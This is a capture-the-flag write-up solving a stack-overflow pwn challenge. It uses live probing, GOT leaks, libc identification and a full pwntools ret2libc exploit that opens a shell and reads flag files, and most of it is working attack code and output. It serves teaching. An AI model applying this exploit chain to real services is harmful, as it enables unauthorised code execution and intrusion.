CREST CTF - research_daemon
Research Daemon Writeup
This is my full solve note for the Research Daemon pwn challenge.
Challenge text:
1
2
3
4
5
6
7
8
9
10
11
12
Research Daemon
500
Ghost Mantis operates a background research daemon responsible for processing
experimental payload data submitted by internal teams. The daemon runs
continuously, parsing input, managing internal buffers, and dispatching handlers
based on command types. It was developed quickly to support ongoing operations
and was never intended to be exposed externally. You’ve obtained a copy of the
binary. Analyze its behavior and determine whether its trust in user input can
be leveraged. Long-running services often inherit long-standing assumptions.
nc 142.93.213.2 9001
Flag:
1
CREST{gm_r3$3@rch_$t@ck_c0ntr0l_2O26_4f1c}
Summary
This ended up being a stack overflow with RIP control at 136 bytes.
The service was non-PIE, so code addresses stayed fixed in the 0x401xxx range. I solved it without relying on a local binary (though they later provided the binary after my solve) by doing careful live probing against the service:
- Find the exact overflow boundary.
- Map useful code addresses by partial overwrite / direct return.
- Find a re-entry point that lets me stay inside the same process.
- Find a
pop rdi; retgadget. - Use
puts@pltto leak a GOT entry inside the same connection. - Identify the remote libc.
- Build a standard ret2libc chain to call
system("/bin/sh"). - Read
flag.txt.
The key addresses I used in the final solve were:
1
2
3
4
5
6
offset to RIP = 136
pop rdi ; ret = 0x401297
puts@plt = 0x401030
puts@got = 0x404000
re-entry = 0x40129e
stack align ret = 0x401295
1. First contact with the service
I started by checking what the daemon prints on connect.
1
2
3
4
5
6
$ python3 - <<'PY'
import socket
s=socket.create_connection(('142.93.213.2',9001),timeout=5)
print(repr(s.recv(4096)))
s.close()
PY
Output:
1
b'=== Ghost Mantis Research Node ===\nUnauthorized access is monitored.\n-----------------------------------\nSubmit research payload:\n'
So the service is a simple one-shot prompt:
- connect
- receive banner
- send one payload
- service closes or crashes
I also checked that a normal short payload exits cleanly:
1
2
3
4
5
6
7
8
9
$ python3 - <<'PY'
import socket, time
s=socket.create_connection(('142.93.213.2',9001),timeout=5)
print(s.recv(4096).decode(), end='')
s.sendall(b'AAAA\n')
time.sleep(0.2)
print(repr(s.recv(4096)))
s.close()
PY
Output:
1
2
3
4
5
=== Ghost Mantis Research Node ===
Unauthorized access is monitored.
-----------------------------------
Submit research payload:
b'Connection terminated.\n'
So the baseline behavior is:
1
valid / non-crashing input -> "Connection terminated."
2. Finding the overflow boundary
Next I checked how the daemon reacts to longer inputs.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ python3 - <<'PY'
import socket,time
HOST='142.93.213.2';PORT=9001
for n in [64,96,112,120,128,136,144,160,192,224,240]:
s=socket.create_connection((HOST,PORT),timeout=5)
s.settimeout(2)
banner=b''
while b'Submit research payload:' not in banner:
banner+=s.recv(4096)
s.sendall(b'A'*n+b'\n')
time.sleep(0.5)
resp=b''
try:
while True:
chunk=s.recv(4096)
if not chunk:
break
resp+=chunk
except Exception:
pass
print('n', n, 'resp', repr(resp))
s.close()
PY
Important part of the output:
1
2
3
4
5
6
7
8
n 64 resp b'Connection terminated.\n'
n 96 resp b'Connection terminated.\n'
n 112 resp b'Connection terminated.\n'
n 120 resp b'Connection terminated.\n'
n 128 resp b'Connection terminated.\n'
n 136 resp b''
n 144 resp b''
n 160 resp b''
That already strongly suggested a stack overwrite.
I then tightened the boundary:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ python3 - <<'PY'
import socket,time
HOST='142.93.213.2';PORT=9001
for n in range(120,141):
s=socket.create_connection((HOST,PORT),timeout=5)
s.settimeout(2)
banner=b''
while b'Submit research payload:' not in banner:
banner+=s.recv(4096)
s.sendall(b'A'*n+b'\n')
time.sleep(0.4)
resp=b''
try:
while True:
chunk=s.recv(4096)
if not chunk:
break
resp+=chunk
except Exception:
pass
print(n, 'term' if resp==b'Connection terminated.\n' else repr(resp))
s.close()
PY
Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
120 term
121 term
122 term
123 term
124 term
125 term
126 term
127 term
128 term
129 term
130 term
131 term
132 term
133 term
134 term
135 term
136 b''
137 b''
138 b''
139 b''
140 b''
At this point I had the exact overflow:
1
offset to RIP = 136 bytes
3. Blind code mapping
Since I did not have a working local binary in the challenge folder, I treated this as a blind return-oriented solve and started mapping code addresses by returning directly into them.
The first very useful thing was that the binary was not PIE. The same code addresses kept working every time in the 0x401xxx range.
I brute-forced single-byte partial overwrites first and found several interesting low bytes. One of them printed:
1
Flag file missing.
That told me there was a hidden flag-reading path in the binary.
Then I scanned the 0x401200 page directly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ python3 - <<'PY'
import socket,struct,time
HOST='142.93.213.2';PORT=9001
for addr in range(0x401200,0x401300):
s=socket.create_connection((HOST,PORT),timeout=3)
s.settimeout(0.15)
banner=b''
while b'Submit research payload:' not in banner:
try:
chunk=s.recv(4096)
except Exception:
break
if not chunk:
break
banner+=chunk
s.sendall(b'A'*136 + struct.pack('<Q',addr))
try:
s.shutdown(socket.SHUT_WR)
except Exception:
pass
resp=b''
try:
while True:
chunk=s.recv(4096)
if not chunk:
break
resp+=chunk
except Exception:
pass
if resp:
print(hex(addr), repr(resp[:160]))
s.close()
time.sleep(0.005)
PY
Interesting hits:
1
2
3
4
5
6
7
8
9
10
0x401216 b'Flag file missing.\n'
0x401265 b'Submit research payload:\n'
0x401266 b'Submit research payload:\n'
0x401269 b'Submit research payload:\n'
0x40126d b'Submit research payload:\n'
0x40126e b'Submit research payload:\n'
0x40129e b'=== Ghost Mantis Research Node ===\nUnauthorized access is monitored.\n-----------------------------------\nSubmit research payload:\nConnection terminated.\n'
0x4012de b'=== Ghost Mantis Research Node ===\nUnauthorized access is monitored.\n-----------------------------------\nSubmit research payload:\nConnection terminated.\n'
0x4012e3 b'Submit research payload:\nConnection terminated.\n'
0x4012e9 b'Connection terminated.\n'
And in the nearby 0x4011xx area:
1
2
3
4
5
6
0x4011ba b'Invalid research token.\n'
0x4011bb b'Invalid research token.\n'
0x4011d6 b'Invalid research token.\n'
0x4011d7 b'Invalid research token.\n'
0x4011d9 b'Invalid research token.\n'
0x4011da b'Invalid research token.\n'
That already told me a lot:
- there is a hidden flag path around
0x401216 - there is a token validation path around
0x4011ba/0x4011d6 - there is a very useful re-entry/banner path around
0x40129e
4. The important observation: re-entry keeps the same process alive
The solve became much easier once I confirmed that 0x40129e is not just “print the banner and die”. It re-enters the daemon logic and gives me another prompt inside the same process.
That matters because it means:
- GOT leaks and the final exploit can happen in one connection
- the libc ASLR base stays stable for the entire attack
Quick proof:
1
2
3
4
5
6
7
8
9
10
11
12
$ python3 - <<'PY'
import socket,struct,time
s=socket.create_connection(('142.93.213.2',9001),timeout=3)
s.settimeout(1)
banner=b''
while b'Submit research payload:' not in banner:
banner+=s.recv(4096)
s.sendall(b'A'*136+struct.pack('<Q',0x40129e))
time.sleep(0.2)
print(repr(s.recv(4096)))
s.close()
PY
Output:
1
b'=== Ghost Mantis Research Node ===\nUnauthorized access is monitored.\n-----------------------------------\nSubmit research payload:\n'
That was the pivot that made the rest mechanical.
5. Finding pop rdi ; ret
To do a normal ret2libc, I needed argument control.
I brute-checked one-pop gadgets near the re-entry block. The cleanest candidate ended up being:
1
0x401297 = pop rdi ; ret
What made that convincing was the way it interacted with a print-like PLT entry. With the right gadget, a valid pointer and an invalid pointer behaved differently. I tested several one-pop candidates and 0x401297 stood out.
6. Recovering imported symbol names from the binary itself
Before labeling GOT entries, I wanted to know what imports existed. Since I had a working arbitrary puts(ptr) primitive, I dumped the dynamic string table.
I scanned around 0x400510 and got:
1
2
3
4
5
6
7
8
9
10
11
0x400511 b'fgets'
0x400517 b'setvbuf'
0x40051f b'stdin'
0x400525 b'puts'
0x40052a b'exit'
0x40052f b'fopen'
0x400535 b'read'
0x40053a b'stdout'
0x400541 b'__libc_start_main'
0x400553 b'fclose'
0x40055a b'libc.so.6'
That import list matched the challenge behavior really well:
putsfor printingreadand/orfgetsfor inputfopen/fclosefor reading the flag filesetvbufbecause many CTF daemons disable buffering
7. Stable GOT leaks inside one connection
With pop rdi ; ret and puts@plt, I started leaking GOT slots.
The key leak chain was:
1
b'A'*136 + p64(0x401297) + p64(GOT_ENTRY) + p64(0x401030) + p64(0x40129e)
Inside one connection, these leaks were stable:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ python3 - <<'PY'
from pwn import *
context.log_level='error'
HOST='142.93.213.2';PORT=9001
POP_RDI=0x401297
PUTS_PLT=0x401030
REENTRY=0x40129e
PROMPT=b'Submit research payload:\n'
BANNER=b'=== Ghost Mantis Research Node ==='
def leak(io, addr):
io.send(b'A'*136+p64(POP_RDI)+p64(addr)+p64(PUTS_PLT)+p64(REENTRY))
data=io.recvuntil(PROMPT, timeout=3)
idx=data.find(BANNER)
if idx!=-1:
data=data[:idx]
return data[:-1] if data.endswith(b'\n') else data
io=remote(HOST,PORT,timeout=5)
sleep(0.2)
io.recvuntil(PROMPT, timeout=3)
for a in [0x404000,0x404000,0x404000,0x404010,0x404010,0x404020,0x404020]:
d=leak(io,a)
print(hex(a), d.hex(), repr(d))
print('alive', io.connected())
io.close()
PY
Output:
1
2
3
4
5
6
7
8
0x404000 503eba25f47f b'P>\xba%\xf4\x7f'
0x404000 503eba25f47f b'P>\xba%\xf4\x7f'
0x404000 503eba25f47f b'P>\xba%\xf4\x7f'
0x404010 5078c325f47f b'Px\xc3%\xf4\x7f'
0x404010 5078c325f47f b'Px\xc3%\xf4\x7f'
0x404020 f045ba25f47f b'\xf0E\xba%\xf4\x7f'
0x404020 f045ba25f47f b'\xf0E\xba%\xf4\x7f'
alive True
Parsed as little-endian pointers:
1
2
3
0x404000 -> 0x00007ff425ba3e50
0x404010 -> 0x00007ff425c37850
0x404020 -> 0x00007ff425ba45f0
8. Labeling the GOT entries
The dynamic string table told me the imports included:
putsreadsetvbuffgetsfopenfcloseexit
I identified one of the PLT entries by behavior:
1
0x401050 blocks waiting for input if called with rdi = 0
That strongly suggested it was the input primitive, and the leak differences lined up with:
1
2
3
0x404000 = puts@got
0x404010 = read@got
0x404020 = setvbuf@got
The offsets also fit a real libc:
1
2
read - puts = 0x93a00
setvbuf - puts = 0x7a0
9. Matching the remote libc
I used the low bytes from the live leaks with libc.rip.
Query:
1
2
3
4
5
import requests
requests.post(
'https://libc.rip/api/find',
json={'symbols': {'puts':'e50', 'read':'850', 'setvbuf':'5f0'}}
)
Result:
1
2
3
4
5
6
7
8
9
10
11
12
[
{
"id": "libc6_2.35-0ubuntu3.13_amd64",
"symbols": {
"puts": "0x80e50",
"read": "0x114850",
"setvbuf": "0x815f0",
"system": "0x50d70",
"str_bin_sh": "0x1d8678"
}
}
]
That was enough.
10. Final ret2libc chain
Once I had puts@got, the final flow was standard:
- Connect.
- Leak
puts@gotviaputs@plt. - Compute:
1
2
3
libc_base = leaked_puts - 0x80e50
system = libc_base + 0x50d70
"/bin/sh" = libc_base + 0x1d8678
- Send final chain:
1
2
3
4
5
'A' * 136
+ ret # stack alignment
+ pop rdi ; ret
+ "/bin/sh"
+ system
I also used a plain ret gadget for alignment:
1
0x401295
11. Final exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
from pwn import *
import time
HOST = "142.93.213.2"
PORT = 9001
OFFSET = 136
RET = 0x401295
POP_RDI = 0x401297
PUTS_PLT = 0x401030
PUTS_GOT = 0x404000
REENTRY = 0x40129E
PROMPT = b"Submit research payload:\n"
BANNER = b"=== Ghost Mantis Research Node ==="
# libc6_2.35-0ubuntu3.13_amd64
PUTS_OFF = 0x80E50
SYSTEM_OFF = 0x50D70
BINSH_OFF = 0x1D8678
def recv_prompt(io):
return io.recvuntil(PROMPT, timeout=3)
def leak_puts(io):
# Leak puts@got and return back into the banner path in the same process.
payload = (
b"A" * OFFSET
+ p64(POP_RDI)
+ p64(PUTS_GOT)
+ p64(PUTS_PLT)
+ p64(REENTRY)
)
io.send(payload)
data = io.recvuntil(PROMPT, timeout=3)
idx = data.find(BANNER)
if idx != -1:
data = data[:idx]
if data.endswith(b"\n"):
data = data[:-1]
if not data:
raise EOFError("empty leak")
return u64(data.ljust(8, b"\x00"))
def solve_once():
context.log_level = "error"
io = remote(HOST, PORT, timeout=5)
time.sleep(0.2)
recv_prompt(io)
puts_addr = leak_puts(io)
libc_base = puts_addr - PUTS_OFF
system_addr = libc_base + SYSTEM_OFF
binsh_addr = libc_base + BINSH_OFF
print(f"puts = {hex(puts_addr)}")
print(f"libc = {hex(libc_base)}")
print(f"system = {hex(system_addr)}")
print(f"binsh = {hex(binsh_addr)}")
final = (
b"A" * OFFSET
+ p64(RET)
+ p64(POP_RDI)
+ p64(binsh_addr)
+ p64(system_addr)
)
io.send(final)
time.sleep(0.3)
io.send(b"cat flag* 2>/dev/null; cat /flag 2>/dev/null; ls; exit\n")
out = io.recvrepeat(2)
text = out.decode("latin-1", errors="replace")
print(text)
io.close()
return text
def main():
last_err = None
for attempt in range(1, 16):
try:
text = solve_once()
if "CREST{" in text:
return
last_err = RuntimeError(f"attempt {attempt}: flag not found")
except Exception as exc:
last_err = exc
time.sleep(0.3)
raise SystemExit(f"exploit failed after retries: {last_err}")
if __name__ == "__main__":
main()
12. Running the exploit
This is the final run:
1
$ python3 exploit.py
Output:
1
2
3
4
5
6
7
puts = 0x7f209bb57e50
libc = 0x7f209bad7000
system = 0x7f209bb27d70
binsh = 0x7f209bcaf678
CREST{gm_r3$3@rch_$t@ck_c0ntr0l_2O26_4f1c}
daemon
flag.txt
13. Why this worked
In short:
- The daemon trusted user input into a fixed-size stack buffer.
- The binary was non-PIE, so code addresses were fixed.
- I had a banner re-entry target, which let me keep the same process alive.
- That same-process property made the libc leak and final exploit share one stable ASLR instance.
- A standard ret2libc finished it.
14. Rabbit holes I intentionally ignored
This challenge had a few spots that could waste time if I overcommitted too early:
- Trying to fully reverse the “research token” parser before getting a leak.
- Assuming the hidden
Flag file missing.path was directly callable without understanding its calling context. - Treating every “hanging” address as a shell or useful loop.
The fastest route was:
1
overflow -> fixed code map -> re-entry -> pop rdi -> GOT leak -> libc match -> ret2libc
15. Final flag
1
CREST{gm_r3$3@rch_$t@ck_c0ntr0l_2O26_4f1c}